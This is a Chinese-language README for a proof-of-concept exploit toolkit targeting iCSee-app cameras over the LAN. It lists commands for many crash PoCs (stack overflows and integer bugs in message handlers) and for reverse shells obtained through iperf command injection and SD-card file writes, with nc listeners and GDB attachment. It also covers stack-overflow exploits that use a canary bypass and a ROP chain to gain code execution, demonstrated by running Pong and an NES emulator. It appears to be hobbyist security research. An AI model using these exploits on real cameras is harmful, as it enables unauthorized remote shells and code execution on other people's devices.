这是一套针对使用 iCSee 应用的摄像头的工具/PoC/漏洞利用集。是的——它可以运行 NES 游戏!
这是一套可用的工具/PoC/漏洞利用程序,用于通过局域网(LAN)控制iCSee视频通话摄像头(也可能适用于非视频通话摄像头)。该工具可轻松用于刷写替代固件,以替代SD卡更新方法。
注意: 任何内存破坏漏洞利用仅在摄像头的固件版本为 V5.00.R02.000949U5.10000.141324.0000010 或 V5.00.R02.000807E5.10000.346724.0000010 时有效——这些漏洞利用依赖于固定的偏移量,而偏移量随每次固件构建而变化。
pycryptodome:用于 RSA 登录加密pwntools:用于 shellcodepyftpdlib:用于 FTP 服务器pynput:用于 NES 键盘输入get_system_info此功能使用 get_system_info 方法通过端口 34567 获取摄像头信息。
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logs利用残留的文本功能从设备拉取日志(日志保存在 FTPTestDir/Test 中)。
python3 icseeu.py ftp_get_logs
gdb_revshell利用 SD 卡文件写入漏洞以及 iperf 二进制执行漏洞,该漏洞允许远程执行 SD 卡上的二进制程序,从而获取一个反向 Shell 并启动 GDB 调试器,附加到主 App 进程。
终端 1:
nc -l 1234
终端 2:
python3 icseeu.py gdb_revshell
终端 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
注意: 不要停止程序超过 30 秒,否则看门狗会报错,App 进程将重启!
注意 2: 你可能需要修改载荷(GDB_Revshell/remote_mgmt.c)中硬编码的 IP 地址为你计算机在局域网中的 IP,并重新编译载荷。
gdb_revshell_inject利用 SD 卡文件写入漏洞以及 iperf 命令注入漏洞,该漏洞允许远程执行 SD 卡上的二进制程序,从而获取一个反向 Shell 并启动 GDB 调试器,附加到主 App 进程。
此方法适用于已存在 iperf 二进制程序的设备,从而避免使用其他方法。
终端 1:
nc -l 1234
终端 2:
python3 icseeu.py gdb_revshell_inject
终端 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
注意: 不要停止程序超过 30 秒,否则看门狗会报错,App 进程将重启!
注意 2: 你可能需要修改载荷(GDB_Revshell/remote_mgmt.c)中硬编码的 IP 地址为你计算机在局域网中的 IP,并重新编译载荷。
iperf_inject_exploit利用 iperf 命令注入建立反向 Shell。
终端 1:
nc -l 1234
终端 2:
python3 icseeu.py iperf_inject_exploit
注意: 你可能需要修改载荷(Revshell_Inject/remote_mgmt.c)中硬编码的 IP 地址为你计算机在局域网中的 IP,并重新编译载荷。
这是针对消息类型 0x7d8 处理函数中第二个栈溢出的漏洞利用。此溢出很有趣,因为它允许我们绕过栈 canary 并获取执行权限。
在使用这些漏洞利用前,你需要构建调度器载荷(在 PayloadDispatcher 目录下运行 make),并通过在对应目录(例如 ImageDisplay)下运行 make 来构建要在摄像头上运行的载荷。
注意:
screenflash通过闪烁屏幕演示我们拥有代码执行能力。
python3 icseeu.py exploit_goke screenflash
rgb通过闪烁 RGB 颜色演示我们能够控制屏幕。
python3 icseeu.py exploit_goke rgb
imagedisplay利用文件写入上传原始 RGB 5:6:5 图像,运行 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw 处理目录中的图像,以在 ImageDisplay 目录下生成 image.raw 文件(此操作对于以下功能是必需的)。图像将显示在屏幕上。
python3 icseeu.py exploit_goke imagedisplay
buttontest演示我们能够读取按钮状态,当检测到任意按钮被按下时闪烁某种颜色。
python3 icseeu.py exploit_goke buttontest
pong一个极简的 Pong 游戏实现,演示我们能够控制屏幕和前面板上的按钮,同时也展示了一个稍复杂的载荷。
python3 icseeu.py exploit_goke pong
nes一个移植的 NES 模拟器,可以播放放置在 GOKE_Payloads/nes 目录下的 rom.nes 文件。在 GOKE_Payloads/nes/smolnes 和 GOKE_Payload/nes 目录下运行 make 以生成二进制文件。
python3 icseeu.py exploit_goke nes
这是针对另一个摄像头上的栈溢出漏洞的利用,该摄像头没有栈 canary,但有 NX。我编写了一个 ROP 链来 pivoting 栈并执行一个大型 ROP 链,该 ROP 链映射可执行内存,将文件内容加载到内存中,生成一个线程执行该内容,然后修复栈状态并继续执行。
在使用这些漏洞利用前,你需要构建载荷,在对应目录(例如 ImageDisplay)下运行 make。
注意:
screenflash通过闪烁屏幕演示我们拥有代码执行能力。
python3 icseeu.py exploit_xm530 screenflash
rgb通过闪烁 RGB 颜色演示我们能够控制屏幕。
python3 icseeu.py exploit_xm530 rgb
imagedisplay利用文件写入上传原始 RGB 5:6:5 图像,运行 ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw 处理目录中的图像,以在 ImageDisplay 目录下生成 image.raw 文件(此操作对于以下功能是必需的)。图像将显示在屏幕上。
python3 icseeu.py exploit_xm530 imagedisplay
这些概念验证的更多细节(及其根本原因)请参阅本 README 顶部的博客。
integer_underflow_http此 PoC 因 HTTP 服务器中的整数下溢导致崩溃。
python3 icseeu.py integer_underflow_http
iperf_run此 PoC 将执行 SD 卡上 iperf/iperf 中存储的文件(可以是 ash 脚本或二进制文件)。
python3 icseeu.py iperf_run
iperf_inject此 PoC 将通过命令注入执行 reboot 命令,SD 卡上必须存在 iperf/iperf 文件才能生效。
python3 icseeu.py iperf_inject
assert_trigger_0x41a此 PoC 因 0x41a 消息类型处理函数中的大分配触发断言(导致崩溃)。
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41a此 PoC 因整数溢出导致 0x41a 消息处理函数中出现异常的越界读取,从而触发崩溃。
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43a此 PoC 因 0x43a 消息处理函数中的栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1此 PoC 因 0x438 消息处理函数中的第一个栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2此 PoC 因 0x438 消息处理函数中的第二个栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdac此 PoC 因 0xdac 消息处理函数中的栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4此 PoC 因 0x5a4 消息处理函数中的栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414此 PoC 因 0x414 消息处理函数中的栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1此 PoC 因 0x410 消息处理函数中的第一个栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2此 PoC 因 0x410 消息处理函数中的第二个栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8此 PoC 因 0x5a8 消息处理函数中的栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41e此 PoC 因 0x41e 消息处理函数中的栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1此 PoC 因 0x7d8 消息处理函数中的第一个栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2此 PoC 因 0x7d8 消息处理函数中的第二个栈溢出导致崩溃。
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6此 PoC 因 0x8a6 消息处理函数中的栈溢出导致崩溃(并非所有摄像头都存在此类型)。
python3 icseeu.py stack_overflow_0x8a6